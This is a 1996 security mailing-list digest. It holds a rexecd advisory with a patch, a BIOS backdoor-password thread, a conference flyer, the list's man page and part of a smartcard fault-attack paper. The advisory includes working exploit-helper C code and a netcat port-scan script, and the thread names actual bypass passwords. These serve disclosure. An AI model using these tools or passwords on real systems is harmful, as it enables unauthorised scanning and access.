We recommend upgrading to the latest release of BIND which solves this
problem due to the incorporation of IPv6 address support.

The latest official release of BIND is availible at:

ftp.vix.com in the directory /pub/bind/release/4.9.5



We wish to acknowledge and thank Theo Deraadt, the maintainer of the OpenBSD
operating system for his help in finding and analyzing this problem.  More 
information on OpenBSD can be found at http://www.openbsd.org.

- Oliver Friedrichs <oliver@secnet.com>

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3ia

mQCNAzJATn0AAAEEAJeGbZyoCw14fCoAMeBRKiZ3L6JMbd9f4BtwdtYTwD42/Uz1
A/4UiRJzRLGhARpt1J06NVQEKXQDbejxGIGzAGTcyqUCKH6yNAncqoep3+PKIQJd
Kd23buvbk7yUgyVlqQHDDsW0zMKdlSO7rYByT6zsW0Rv5JmHJh/bLKAOe7p9AAUR
tCVPbGl2ZXIgRnJpZWRyaWNocyA8b2xpdmVyQHNlY25ldC5jb20+iQCVAwUQMkBO
fR/bLKAOe7p9AQEBOAQAkTXiBzf4a31cYYDFmiLWgXq0amQ2lsamdrQohIMEDXe8
45SoGwBzXHVh+gnXCQF2zLxaucKLG3SXPIg+nJWhFczX2Fo97HqdtFmx0Y5IyMgU
qRgK/j8KyJRdVliM1IkX8rf3Bn+ha3xn0yrWlTZMF9nL7iVPBsmgyMOuXwZ7ZB8=
=xq4f
-----END PGP PUBLIC KEY BLOCK-----

   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
      Oliver Friedrichs   -   (403) 262-9211   -   Secure Networks Inc.
         Suite 440, 703-6th Avenue S.W. Calgary, AB, Canada, T2P 0T9

------------------------------

Date: 	Mon, 18 Nov 1996 23:24:42 -0500
From: jaeger <jaeger@dhp.com>
To: Multiple recipients of list BUGTRAQ <BUGTRAQ@netspace.org>
Subject: BoS:      Futile rexecd holes
Message-ID: <Pine.LNX.3.95.961118232043.1065A-100000@dhp.com>
Content-Type: TEXT/PLAIN; charset=US-ASCII

Vulnerability:
        Rexecd allows redirection of stderr stream to an arbitrary port on
the client machine.  This stream is opened by rexecd before authentication of
the user.

Vulnerable:
        All systems with BSD-based networking including FreeBSD,
OpenBSD, NetBSD, BSDI BSD/OS, Solaris 2, OSF/1, Ultrix, Linux.

Background:
        Rshd and rexecd can output stderr by opening a socket from the
server machine to the client machine which is accepted by the rsh or rexec
client.  The rsh client opens the initial connection from a privileged port,
rshd responds from a privileged port, and redirects the connection to a
privleged port on the client machine.  The trust model is preserved because
this whole process is controlled by the setuid program rsh on the client
machine.
        Exec is fundamentally similar to the shell service except that instead
of a remote and local username being transmitted (for .rhosts and hosts.equiv
authentication only) a username and password is transmitted, and the whole
exchange uses unprivileged ports.

Discussion:
        Because rexec uses unprivileged ports for the whole process, any
user can send a request to a rexecd requesting connection of the stderr stream
to an arbitrary port on the client machine.  Since the client is unprivileged,
there is no possibility for the legitimate stderr stream to be destined for a
privileged port.
        In addition, spoofing techniques could allow the client to direct
the stderr stream towards an arbitrary host as well as an arbitrary port,
possibly exploiting a given trust model.
        Since rexecd terminates if the stderr port can't be connected to,
and the port can be specified, rexecd can be used to easily scan the client
host from the server host.  The included script "rexecscan" demonstrates
this.

Repeat-By:

begin prservice.c

/* modified by jaeger 12Nov1996. Duplicated slack coding style.

   now takes
        port locuser remuser [cmd]
        port remuser passwd [cmd]
   where port is the dst port you wish the stderr socket to connect to
   from the server to the client machine.

/* generate ^@string1^@string2^@cmd^@ input to netcat, for scripting up
   rsh/rexec attacks.  Needs to be a prog because shells strip out nulls.

   args:
        locuser remuser [cmd]
        remuser passwd [cmd]

   cmd defaults to "pwd".

   ... whatever.  _H*/

#include <stdio.h>

/* change if you like; "id" is a good one for figuring out if you won too */
static char cmd[] = "pwd";

static char buf [256];

main(argc, argv)
  int argc;
  char * argv[];
{
  register int x;
  register int y = 0;
  char * p;
  char * q;

  p = buf;
  memset (buf, 0, 256);

  if (! argv[1])
    goto wrong;
  x = strlen (argv[1]);
  memcpy (p, argv[1], x);       /* port plus null */
  x++;
  p += x;
  y += x;

  if (! argv[2])
    goto wrong;
  x = strlen (argv[2]);
  memcpy (p, argv[2], x);       /* second arg plus null */
  x++;
  p += x;
  y += x;

  if (! argv[3])
    goto wrong;
  x = strlen (argv[3]);
  memcpy (p, argv[3], x);       /* third arg plus null */
  x++;
  p += x;
  y += x;

  q = cmd;
  if (argv[4])
    q = argv[4];
  x = strlen (q);               /* not checked -- bfd */
  memcpy (p, q, x);             /* the command, plus final null */
  x++;
  p += x;
  y += x;

  memcpy (p, "\n", 1);          /* and a newline, so it goes */
  y++;

  write (1, buf, y);            /* zot! */
  exit (0);

wrong:
  fprintf (stderr, "%s: <port> <arg> <arg>\n",argv[0]);
  exit (1);
}

end prservice.c

begin rexecscan

#!/bin/sh
# Dumb script to demonstrate scanning with rexecd
# jaeger, 12Nov1996

# Path to netcat
NC=nc
# Path to prservice program
PRS=./prservice
# Port to scan to
MAX=1024

TARGET=$1
USER=$2
PASSWORD=$3

PORT=1

if [ $# -ne 3 ]; then
        echo "$0 <targethost> <username> <password>"
fi

while [ $PORT -lt $MAX ]; do
        $PRS $PORT $USER $PASSWORD "echo $PORT open" | $NC $TARGET 512
        PORT=`expr $PORT + 1`
done

exit 0

end rexecscan

Suggested Fix:
        The rexecd should check the specified return port ("port") to make
sure it is nonprivileged, and not open the stderr stream until authentication
is complete.  Similar fixes for rshd are left as an exercise for the reader.

*** rexecd.c.dist       Mon Nov 11 11:32:23 1996
--- rexecd.c    Thu Nov 14 01:55:17 1996
***************
*** 151,168 ****
                port = port * 10 + c - '0';
        }
        (void) alarm(0);
!       if (port != 0) {
!               s = socket(AF_INET, SOCK_STREAM, 0);
!               if (s < 0)
!                       exit(1);
!               if (bind(s, (struct sockaddr *)&asin, sizeof (asin)) < 0)
!                       exit(1);
!               (void) alarm(60);
!               fromp->sin_port = htons(port);
!               if (connect(s, (struct sockaddr *)fromp, sizeof (*fromp)) < 0)
!                       exit(1);
!               (void) alarm(0);
!       }
        getstr(user, sizeof(user), "username");
        getstr(pass, sizeof(pass), "password");
        getstr(cmdbuf, sizeof(cmdbuf), "command");
--- 151,157 ----
                port = port * 10 + c - '0';
        }
        (void) alarm(0);
!
        getstr(user, sizeof(user), "username");
        getstr(pass, sizeof(pass), "password");
        getstr(cmdbuf, sizeof(cmdbuf), "command");
***************
*** 215,220 ****
--- 204,227 ----
                error("No remote directory.\n");
                exit(1);
        }
+
+       if (port != 0) {
+               if ((port != 0) && (port < IPPORT_RESERVED)) {
+                       syslog(LOG_ERR, "client stderr port in reserved range\n");
+                       exit(1);
+               }
+               s = socket(AF_INET, SOCK_STREAM, 0);
+               if (s < 0)
+                       exit(1);
+               if (bind(s, (struct sockaddr *)&asin, sizeof (asin)) < 0)
+                       exit(1);
+               (void) alarm(60);
+               fromp->sin_port = htons(port);
+               if (connect(s, (struct sockaddr *)fromp, sizeof (*fromp)) < 0)
+                       exit(1);
+               (void) alarm(0);
+       }
+
        (void) write(2, "\0", 1);
        if (port) {
                (void) pipe(pv);
***************
*** 255,260 ****
--- 262,268 ----
                (void) close(s); (void)close(pv[0]);
                dup2(pv[1], 2);
        }
+
        if (*pwd->pw_shell == '\0')
                pwd->pw_shell = _PATH_BSHELL;
        if (f > 2)

------------------------------

Date: Tue, 19 Nov 1996 17:07:23 +0200 (EET)
From: Sergiu Popovici <svp@interbit.ro>
To: Seo Euiseong <paladin@intersys.kaist.ac.kr>
cc: Multiple recipients of list BUGTRAQ <BUGTRAQ@NETSPACE.ORG>,
         best-of-security@suburbia.net
Subject: BoS:      Magic password of some linux-box(Hardware..)
Message-ID: <Pine.LNX.3.95.961119165808.22587B-100000@relay.interbit.ro>
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Mon, 18 Nov 1996, Seo Euiseong wrote:

===>Date: Mon, 18 Nov 1996 12:33:33 +0900
===>From: Seo Euiseong <paladin@intersys.kaist.ac.kr>
===>To: Multiple recipients of list BUGTRAQ <BUGTRAQ@NETSPACE.ORG>
===>Subject: BoS:      Magic password of some linux-box(Hardware..)
===>Resent-Date: Tue, 19 Nov 1996 10:16:38 +1100
===>Resent-From: best-of-security@suburbia.net
===>
===>In recent, there are lots of host runs Linux, FreeBSD, etc...
===>
===>Many administrarot believes that System Password that main board support is
===>
===>fully secure to prevent the console hacker from cracking in front of the system
===>
===>But, It is a very "Unsecure" thought.
===>
===>A few days ago, my friend mistyped his console password, "condo,".
===>
===>The BIOS vendor of his system was AWARD.
===>
===>Then, The BIOS accept the password like a real password and booting,
===>
===>gives the permission to set up the bios.
===>
===>I thought that it was a bug of a version of award bios.
===>
===>But, It's not true. Unfortunately almost versions of award bios has the
===>
===>magic password "condo,"
===>
===>
===>I was very afraid of the increasing of console hacking on many linux box.
===>
===>I wanna know the real fact of this magic password, and How can I disable
===>it.
===>

   Try also "589589". Is the same thing.

=====================================================================
==        --------              ====  sergiu@cryogen.com           ==
==     Sergiu Popovici           ==  http://cryogen.interbit.ro/   ==
==        ---------             ===  http://ftp.interbit.ro/~svp   ==
=====================================================================

------------------------------

Date: Tue, 19 Nov 1996 08:45:03 -0500
From: spaf@cs.purdue.edu (Gene Spafford)
To: best-of-security@suburbia.net
Subject: BoS: Computers & the Law III
Message-Id: <199611191345.IAA27891@dorsai.cs.purdue.edu>

Some of you might find this of interest...

------- Forwarded Message

From:    Alex Newman <troll@sug.org>
Subject: BOARD: C&L III Info
Date:    Mon, 04 Nov 1996 12:59:35 -0500
Approved: proff@suburbia.net


		       "COMPUTERS & THE LAW III"
			  DECEMBER 1-4, 1996
		     RED LION HOTEL, SAN JOSE, CA

COMPUTERS & THE LAW III is the only event to bring together computer
professionals, lawyers, and law enforcement officials. As computers
are utilized in more and more aspects of society, these three groups
are finding themselves interacting in new, untested ways.  This
conference provides a forum, educational opportunities, and a means of
communication between these diverse fields.  Sessions will be
presented on computer security, Internet censorship, cryptography,
copyright and a host of other timely issues.

This and more information are available via email at conference@sug.org
or on the World Wide Web at http://www.sug.org/conference.html

If you have further questions, contact the Sun User Group at
(617)232-0514.

+-----------------------------------------------------------------------+
|                    IMPORTANT DATES TO REMEMBER:                       |
| Early-bird Savings Deadline:                  November 8, 1996        |
|       Payment must be received at the Sun User Group offices    	|
|       by November 8, 1996 to be eligible for Early-bird savings       |
|                                                                       |
| Hotel Discount Reservation Deadline:          November 8, 1996	|
|									|
| Advance Registration Deadline			November 25, 1996       |
+-----------------------------------------------------------------------+

CONFERENCE OVERVIEW:

        Sun, December 1, 1996 	Tutorial Program
        Mon, December 2, 1996 	General Sessions
        Tue, December 3, 1996 	General Sessions
        Wed, December 4, 1996 	Tutorial Program


TUTORIALS (Sunday, December 1 & Wednesday, December 4):
------------------------------------------------------

The tutorials at COMPUTERS & THE LAW III are full and/or half-day
classes featuring in-depth training on a range of subjects.  Courses
are presented by skilled teachers who are hands-on experts in their
topic areas.

The tutorial program is divided into two days.  Attendees may select
any non-overlapping set of classes.  To ensure adequate seating and to
reduce crowding, we are requiring that registrants pre-register for
specific classes.  Please note that some prior knowledge is required
for the advanced tutorials.

SUG's tutorial program is always in demand, and some tutorials are
almost guaranteed to sell out before advance registration closes.
Attendance is limited, and pre-registration is strongly recommended.
On-site registration is possible ONLY if space permits.

More complete information about each of the tutorials is available at
conference@sug.org or on the web at http://www.sug.org/CL3/talks.html

		  COMPUTER'S & THE LAW III TUTORIALS

Detailed descriptions of each tutorial are available by sending mail
to 'conference@sug.org'.

S1: "System Administrator Liability" (SUNDAY, DECEMBER 1, 9am-5pm):

	Intructor: Edward Cavazos, Andrews & Kurth

	This tutorial is ideal for the system administrator who is
	faced with the perplexing legal problems posed by activities
	related to overseeing a multi-user system which is connected
	to the Internet.  Increase your knowledge of the underlying
	legal issues and the current thinking with regards to limiting
	potential legal liabilities.

	Topics covered include: E-Mail Privacy; Defamation Liability;
	Copyright Law for the Sysadmin; Adult Materials; and more.



S2: "Basic UNIX Security" (SUNDAY, DECEMBER 1, 9am-5pm):

	Instructor: Peter Galvin, Corporate Technologies

	The emphasis of this class is on security basics -- the very
	fundamentals to making a Unix system more secure.  You will
	learn essential elements of Unix security, including some
	common threats, what to monitor in the file system, standard
	publicly-available tools, and much more.

	This course is targeted at new Unix administrators and
	auditors, and those who have not had much background and
	experience with computer security.


W1a: "Ethics & System Administration" (WEDNESDAY, DECEMBER 4,9am-noon):

	Instructor: S. Lee Henry, TASC

	Sysadmins find themselves increasingly involved in difficult
	ethical dilemmas that pit security against privacy, and
	threaten to disrupt the delicate balance between personal and
	commercial interests.  Join us for a highly interactive,
	fast-paced, half-day tutorial that challenges and informs
	system administrators.

W1b: "Prosecuting Network Intrusions" (WEDNESDAY, DECEMBER 4, 1pm-5pm):

	Instructor: John C. Smith, Santa Clara County D.A.'s office

	The lead investigator from the Santa Clara county Computer
	Crime Unit will lead students through actual cases of computer
	crimes in Silicon Valley.  Students will follow what has to be
	done in an investigation, step by step, including the initial
	reports that would be the basis of any search warrants or
	restraining orders.  Learn how to speed up an investigation by
	learning to prepare reports and diagrams that can be part of a
	request for a search warrant.

W2: "Advanced UNIX Security" (WEDNESDAY, DECEMBER 4, 9am-5pm)

	Instructor: Matt Bishop, UC Davis

	This course is designed for system administrators, system
	programmers, and users interested in the underpinnings of UNIX
	system security.  Learn how to write programs which change
	privileges of your users.  Learn how to limit the damage from
	computer worms, viruses, and hackers.  While course S2 is
	*not* a prerequisite, students should have an understanding of
	the basic protection mechanisms of UNIX systems (real and
	effective UIDs and GIDs, file protection modes, etc.).

GENERAL SESSIONS (Monday, December 2 & Tuesday, December 3):
-------------------------------------------------------------------

"Computers & The Law" features three distinct parallel tracks of
talks: Technical; Legal; and Law Enforcement.  All three track run
simultaneously throughout both days of sessions.  Attendees may attend
any of the classes in any of the tracks and do not need to
pre-register for a track.

The TECHNICAL track will focus on nuts and bolts of maintaining a
networked system.  These talks will cover the all of the newest
developments in the changing world of technology.  There are talks
from the experts on: UNIX and network security; encryption; software
distribution in a client/server environment; firewalls.

The LEGAL track will cover up-to-date issues of privacy and morality,
as well as in-depth examinations of the current and changing laws
pertaining to software and hardware.  Legal professionals from all
over the country will examine how changing technologies will
necessitate changes in the law.

The LAW ENFORCEMENT track discusses computers as tools.  Tools which
can help in the preventing of crimes -- or in the committing of them.
Join our experts in high-tech crime as they discuss the discovery,
investigation, apprehension, and prosecution of crackers, software
pirates, and bandits on the information superhighway.

Here is a selection of some of the courses offered over the two days:

"Strong Privacy In the Computer Age"

"Basic Encryption Theory"

"Securing your Web Server"

"Public Keys: The Technology of Privacy"

"The publication torts: Liability for on-line defamation, invasion of
 privacy and commercial appropriation."

"Cryptography Policy for the GII/GIS"

"Private Speech Restrictions in Cyberspace"

"Will the Internet Destroy Copyright?"

"E-mail Privacy and the UNIX Sysadmin"

"A Technical Guide to Machine-Readable Evidence"

"Jurisdiction in a World Without Borders"

"Is Regulation of the Internet Possible?  -- Confessions of a
 Reconstructed Regulator"


KEYNOTES & PANELS
----------------
As any attendee of a previous Computers and The Law conference can
tell you, the keynotes, panels and other open sessions are where this
event truly comes alive. In most cases, these sessions are your
opportunity to voice your concerns and opinions, or add your expertese
to the discussion.

Featured Panels include:

	"Computer Crime: Past, Present & Future"

	"The Court Side of a Security Incident"

	"The 1st Amendment in Cyberspace: The CDA Challenge and
		Beyond"


CONFERENCE PUBLICATIONS
-----------------------
One copy of the Conference Proceedings, which contains all refereed
papers, may be picked up at the conference by all general sessions
registrants.  Additional copies may be purchased at the conference.


ABOUT THE SUN USER GROUP
------------------------
The Sun User Group (SUG) brings people together to share information
and ideas about using Sun/SPARC equipment.  You can discover new ways
to save time and money in the pages of _Readme_.  You can get quick
answers to important questions on our electronic mailing list.  At our
seminars you can learn more about the capabilities of your
workstation.  At our conferences, you can meet other people who are
doing progressive and innovative work with their Sun/SPARC equipment.

COMPUTERS & THE LAW III registration includes a one year membership in
the Sun User Group.  If you are already a member of SUG, you are
eligible for a discount (see below).  


HOTEL INFORMATION
----------------

San Jose Red Lion Hotel
Computers & The Law III Headquarters
2050 Gateway Place
San Jose, CA 95110

Tel: (408) 453-4000
http://www.redlionsanjose.com

The Sun User Group has a special negotiated rate of 129.00/night for
attendees of Computers & The Law III.  Please be sure to mention that
you are attending the Sun User Group conference and reserve your room
before November 8, 1996.

If you are paying for your Computers & The Law III registration by
credit card, the Sun User Group can make your Red Lion Hotel
reservations for you.  Please indicate if you would like this done at
the appropriate place below.

		  REGISTRATION INFORMATION AND FEES
		  ---------------------------------
+-------------------------------------------------------------------+
|			  EARLYBIRD DISCOUNT			    |
|	  Register before November 8, 1996 and save $100.00	    |
+-------------------------------------------------------------------+
|                Sun User Group members save $50.00!                |
+-------------------------------------------------------------------+

For more information please call (617) 232-0514.

Mail, Email, or FAX registration to:

Computers & The Law III
c/o The Sun User Group
1330 Beacon Street, Suite 344
Brookline, MA 02146
USA

Email: registration@sug.org         Fax: (617) 232-1347

You may also register over the telephone with a credit card.
More registration information is available at 
http://www.sug.org/conferences.html

Please print or type the information required.

		   Sun User Group Membership Status
		    * * PLEASE CHECK ONLY ONE * *

[ ]	I am a current Sun User Group  member.
	SUG ID#__________________  Exp. Date__________

		Both SUG ID# and exp. date MUST be filled in to be
		eligible for the "Current SUG member" discount below.
		If you do not know your SUG ID# or expiration date,
		please call (617)232-0514 or contact SUG at
		office@sug.org.

[ ]	I am not a current Sun User Group member and would like SUG to
	apply a portion of my registration fee to a one-year SUG
	membership.

[ ]	I am not a current Sun User Group member but do not wish to
	join at this time.


IMPORTANT INFORMATION FOR ALL REGISTRANTS

This form is to be used only for advance registration and will no
longer be accepted after 9am EST, on November 25th, 1996.  After that,
you must register on-site.  If you do not register in advance, all
conference packages carry an additional $100 on-site registration fee.


        +---------------------------------------+---------------+
	|[ ] 	Sessions, one-day only		|	$200	|
	|	Please indicate day:		|		|
	|	[ ] Mon, Dec 2 1996		|		|
	|	[ ] Tue, Dec 3, 1996		|		|
        +---------------------------------------+---------------+
	|[ ] 	Sessions Only, both days	|	$350	|
        +---------------------------------------+---------------+
	|[ ] 	One Tutorial only		|	$350	|
	|You must indicate tutorial choice below|		|
        +---------------------------------------+---------------+
	|[ ] 	One Tutorial and Sessions	|	$650	|
	|You must indicate tutorial choice below|		|
        +---------------------------------------+---------------+
	|[ ] 	Full Conference			|	$900	|
	|	Includes two tutorials and both	|		|
	|	days of sessions.  Save $200!	|		|
	|					|		|
	|You must indicate tutorial choice below|		|
        +---------------------------------------+---------------+


	DISCOUNTS:
        +---------------------------------------+---------------+
        |[ ]    Current SUG Member Discount     |               |
        |       You *must* provide your SUG ID  |               |
        |       number to get this discount.    |      -$ 50    |
        |---------------------------------------+---------------+
	|[ ]	Early-bird! Register before	|      -$100	|
	|	November 8, 1996 and save $100	|		|
	+---------------------------------------+---------------+

	+---------------------------------------+---------------+
        |Total Payment Enclosed                 |               |
        --------------------------------------------------------+

TUTORIAL SELECTION:
-------------------
You can select either one full-day tutorial or two half day tutorials
(Half-day tutorial registration fees are not available).

Please indicate tutorial(s) below:

Sunday, December 1, 1996
	[ ] S1 System Administrator Liabilty
	[ ] S2 Basic UNIX Security

Wednesday, December 4, 1996
	[ ] W1 Package Two Half-Day Classes count as one selection:
	      A) Ethics & System Administration
	      B) Prosecuting Net Intrusions

	[ ] W2 Advanced UNIX Security


HOTEL RESERVATIONS:
------------------

If you are paying for your Computers & The Law III registration by
credit card, the Sun User Group can make your Red Lion Hotel
reservations for you.  If you select this option, a SUG staff member
will call you upon receipt of your registration to confirm the details
of your hotel stay.

[ ] I would like the Sun User Group to make my hotel reservations.


PAYMENT INFORMATION
-------------------

-  All payments must be in US dollars
-  Checks must be drawn on a bank with a US agent or branch.
-  PURCHASE ORDER INSTRUCTIONS:
1) POs must be paid in full before your registration will be official.  
2) An unpaid PO does not guarantee you a seat. 
3) Purchase Orders must be paid in full before November  8, 1996 to qualify 
   for earlybird discount.  
4) POs unpaid after November 23, 1996 may result in cancellation 
   of registration.  


[ ] Check 	[ ] Purchase Order (Important: read PO instructions above)

[ ] MasterCard  [ ] Visa  	[ ] American Express


Credit Card Number:___________________________________________________

Expiration Date:______________________________________________________

Signature of cardholder:______________________________________________



Name:_________________________________________________________________

Title:________________________________________________________________

Company Name:_________________________________________________________

Address:______________________________________________________________

______________________________________________________________________

City:________________________ State:___________Zip/Postal Code:_______

Country:______________________________________________________________

Email Address:________________________________________________________

Phone:______________________________ Fax:_____________________________


REFUND CANCELLATION POLICY
If you must cancel, all refund requests must be in writing and
postmarked no later than November 1, 1996.  Direct your letter to the
Sun User Group office.  You may telephone to substitute another in
your place or defer your registration for another SUG event. 

FOR FURTHER CONFERENCE INFORMATION, PLEASE CONTACT:

Sun User Group 
1330 Beacon Street
Suite 344
Brookline, MA 02146

Telephone: (617) 232-0514	Fax: (617) 232-1347
Electronic Mail Address:  conference@sug.org
World Wide Web:  http://sug.org

You may FAX your registration form if paying by credit card or
purchase order to (617) 232-1347.  If you FAX registration, to avoid
duplicate billing, do not mail additional copy.  You may telephone our
office to confirm receipt of your fax.

*********************************************************************
            PAYMENT MUST ACCOMPANY REGISTRATION FORM.
       REGISTRATION VIA EMAIL IS ACCEPTABLE WITH A CREDIT CARD
*********************************************************************

------- End of Forwarded Message

------------------------------

Date: Thu, 21 Nov 1996 11:58:28 +1100 (EST)
From: Julian Assange <proff>
To: best-of-security
Subject: BoS: IMPORTANT: you have been u-n-s-u-b-s-c-r-i-b-e-d!
Message-Id: <199611210058.LAA05441@suburbia.net>
Content-Type: text

IMPORTANT:

	BoS has received a little spring cleaning, due to some unsightly
	cob-webs gathering in the refectory. Unfortunately, you were
	viewed as one of the silken tangles concerned.

To re-subcribe to BoS:


BOS(8)               Security Guru's Manual                BOS(8)

NAME
	BOS  -  Best of all available security resources.

		    _/_/_/          _/_/          _/_/_/
		   _/    _/      _/    _/      _/
		  _/_/_/        _/    _/        _/_/
		 _/    _/      _/    _/            _/
		_/_/_/          _/_/        _/_/_/

		BEST            OF          SECURITY

			      DIGEST

SYNOPSIS
     "echo subscribe|mail best-of-security-request@suburbia.net"

    				or

     "echo subscribe|mail best-of-security-d-request@suburbia.net"

    			   (weekly digest)

DESCRIPTION
    In order to make the average security administrator, it was found
    the compiler had to parse a foreboding number of exceptionally noisy
    and semantically devoid data sets.  This typically resulted in
    dramatically high load averages and a frightening increase in core
    entropy.

    Further, the number, names and locations of required datum seemed to
    change on an almost daily basis; requiring tedious version control
    on the part of the mental maintainer.

OPERATION
    Clever BOS subscribers scour their brains and the world for
    interesting security material and send it to the clever moderator.
    The clever moderator then attempts to decide if the clever
    subscriber was quite as clever as the clever subcriber had hoped. If
    the answer is in the affirmative, the clever moderator sends the
    clever information to all the clever BOS subscribers who get a bit
    cleverer.

    We do, of course take many original posts. In the famous last words of
    Marylin Munroe, CORE Digest and Joachim Kroll: "meat, we want meat".

OPTION NEGOTIATION
	WILL WILL WILL WILL                     WONT WONT WONT WONT
	DO   DO   DO   DO			DONT DONT DONT DONT

	8lgm, cert, ciac, dod and other         Any flames.
	non-vendor advisories.		 	Any questions.
	Vendor advisories of security		Any rumors.
	weaknesses in own or other products.	Sigs with >2 lines of
	Vendor new security-product line	commercial information.
	release or MAJOR upgrade.		Minor upgrade information.
	Fully disclosed security weaknesses.	Twag, frig or drofo.
	Exploitation details.			Advertising.
	Exploitation code.			Un/Subscription requests.
	Patch code.                             Mailing list queries.
	Patch announcements.			Requests. Get it your self.
	Hard to obtain or otherwise occulted	Vague or incomprehensible
	source code or uuencoded executables.   statements from dysfuctional
	Conference announcements.		persons.
	Security tools.				Opinionated rantings such as
	Blond jokes.				those on the ethics of full
	NEW or hard to obtain security          disclosure or computer hackers.
	documents (ascii), or pointers to       Quotes from the Illiad.
	the location of such documents/papers.	Off meat. We like it fresh.
	Announcements of new security archives	Elite security trojans.
	or mailinglists.			Attempts at KOTM.
	Translations of the above. 		Messages under 700 bytes.

SUBSCRIBING
	Send mail to: 

		best-of-security-request@suburbia.net
	or
		best-of-security-d-request@suburbia.net (digest)

	with the subject or body of:

		subscribe

UN-SUBSCRIBING
	Send mail to:

		best-of-security-request@suburbia.net
	or
		best-of-security-d-request@suburbia.net (digest)

	with the subject or body:

		unsubscribe

POSTING
	To send a message to the list, address it to:

		best-of-security@suburbia.net

EXAMPLES
	Subscribing:
		mail best-of-security-request@suburbia.net
		Subject: luv me foomaster
		subscribe
	Unsubscribing:
		mail best-of-security-request@suburbia.net
		Subject: foo you
		unsubscribe
	Posting:
		mail best-of-security@suburbia.net
		Subject: Backdoor in foosecure
ARCHIVES
	Back issues of BOS are available from:

		ftp://suburbia.net/pub/mailinglists/best-of-security

	You can also instruct the mailing list processor to
	automatically scan and retrive messages from the archive. It
	understands the following commands:

		get filename ...
		ls directory ...
		egrep case_insensitive_regular_expression filename ...
		maxfiles nnn
		version

		Aliases for 'get': send, sendme, getme, gimme, retrieve, mail
		Aliases for 'ls': dir, directory, list, show
		Aliases for 'egrep': search, grep, fgrep, find

		Lines starting with a '#' are ignored.  Multiple
		commands per mail are allowed.  Setting maxfiles to zero
		will remove the limit (to protect you against yourself
		no more than maxfiles files will be returned per
		request).  Egrep supports most common flags.

		Examples:
		ls latest (the latest directory containes the archived messages)
		get latest/12
		egrep some.word latest/*
BUGS
	You bet.

TECHNICAL
	The list processor software is based on the excellent
	Procmail/Smartlist by Stephen R. van den Berg
	<berg@pool.informatik.rwth-aachen.de> with some minor extensions
	by Julian Assange <proff@iq.org>.

	DARPA grant N00015-95-J-4124

MODERATOR/EDITOR	
	proff@iq.org

SEE ALSO
	lacc-request@suburbia.net.

------------------------------

Date: Wed, 20 Nov 1996 14:34:49 -0500
From: Matt Blaze <mab@research.att.com>
To: cypherpunks@toad.com
Subject: BoS: FYI - Anderson & Kuhn's new "Improved DFA" paper
Message-Id: <199611201934.OAA11249@nsa.research.att.com>

My appologies if this has been posted already.


------- Forwarded Message
From: Ross Anderson <Ross.Anderson@cl.cam.ac.uk>
To: ccc-list@newton.cam.ac.uk
Message-ID: <E0vOSwQ-0000uc-00@heaton.cl.cam.ac.uk>
Subject: Research Announcement
Sender: owner-ccc-list@newton.cam.ac.uk
Precedence: bulk

                   Improved Differential Fault Analysis

                      Ross J Anderson, Markus G Kuhn

In [1], Biham and Shamir announce an attack on DES based on 200 ciphertexts in
which one-bit errors have been induced by environmental stress. Here we show an
attack that requires less than ten ciphertexts. Furthermore, our attack is
practical in that it uses a fault model that has been implemented in attacks on
real smartcards.

In [2], Biham and Shamir show how their method can be extended to reverse
engineer algorithms whose structure is unknown. Our attack can also be extended
to such cases and is more efficient there too. In [3], Boneh, De Millo and
Lipton discuss how such techniques can be used to attack RSA. Again, their
attack is theoretical only, We show how to do it in practice.


Introduction

A recent research announcement by Biham and Shamir shows that if DES is
implemented in a tamper-resistant package, and this package has the property
that by applying ionising radiation (or some other environmental stress) we can
cause random one-bit errors in the round keys, then we can break DES. If we can
get a series of ciphertexts, each generated from the same plaintext but with a
different one-bit random round key error, then we will need about 200 faulty
ciphertexts to recover the key. In a further announcement [2], they show how on
a similar fault model, the structure of unknown Feistel ciphers can be deduced
from an adequate number of faulty ciphertexts. In each case, the critical
observation is that errors that occur in the last few round of the cipher leak
information about the key, or algorithm structure, respectively.

This work is inspired by a paper of Boneh, DeMillo and Lipton [3] who assume 
(as Biham and Shamir do) that one-bit errors can be caused by radiation or
other environmental stresses. That paper goes on to show that with this fault 
model, RSA can be attacked.

These results have been widely publicised in the press. A frequently voiced
criticism is that the attacks are purely theoretical: no-one has demonstrated
that single bit errors can actually be induced in a DES key schedule or an RSA
computation in any fielded device. In fact, most smartcards hold keys in EEPROM
which also contains much or all of the device's application software. Thus
errors induced by ionising radiation would be much more likely to corrupt
software, thus leading either to a system crash or to uninformative wrong
answers.

We show here that much faster, and completely practical, attacks are possible.
The trick is to induce small changes in the code rather than trying to cause
them in keys or other data.


The Improved Attack Methodology

In a note posted to relevant Internet newsgroups on the 7th November, one of us
pointed out that using clock and power glitches gives a practical way of
implementing the Lenstra variant of the Boneh attack. In this announcement, we
will expand on the threat model, and also show how attacks using clock and
power glitches can give attacks on DES that require many fewer ciphertexts -
less than ten rather than the 200 or so previously required.

In a paper on tamper resistance due to be published next week, we describe a
number of techniques for attacking smartcards and other security processors
[5]. This paper was written some time ago (the first results were presented at
the Isaac Newton Institute, Cambridge, in June) but has been withheld by
agreement with the manufacturer of one of the security processors we have
attacked, so that banking industry clients had some time to take suitable
precautions. Some of the attacks we describe in this paper are new, while
others are already known in various small communities (such as hackers and chip
testers) and are included for the benefit of the wider crypto and security
communities.

One of the latter type is that smartcards and other security processors can
often be attacked using clock and power glitches. The application of a clock
pulse that is much faster than normal, or of a transient in the power supply,
can often cause faulty behaviour in a microprocessor, under which the program
counter is incremented but the current instruction is executed either
incorrectly or not at all. A standard version of this attack is to replace a
single 5MHz clock pulse to a smartcard with four 20MHz pulses.

We do not claim to have invented this attack; it appears to have originated in
the pay-TV hacking community, which has known about it for at least a year. In
that context, it has not been used for attacks on cryptographic algorithms, but
in order to cause output loops to run for longer than the card's programmer
intended, thus dumping key material to the output port.

The glitch attack is described more fully in our tampering article, which will
appear at next week's Usenix Electronic Commerce Workshop [5].

In this note, we point out that attacks based on faulty instructions are not
only proven practical, unlike the as yet undemonstrated fault model of random
single bit errors induced by radiation. They also provide a much more powerful
attack on many cryptographic algorithms. This holds both when we are seeking to
recover a key for a known algorithm such as DES, and when we are trying to
reverse engineer an unknown algorithm that has been provided in a smartcard or 
other tamper resistant processor.


Attacking RSA

A simplified version of the Boneh-DeMillo-Lipton attack, due to Lenstra, is
quoted in [3]: if a smart card computes an RSA signature S on a message M
modulo n = pq by computing it modulo p and q separately and then combining them
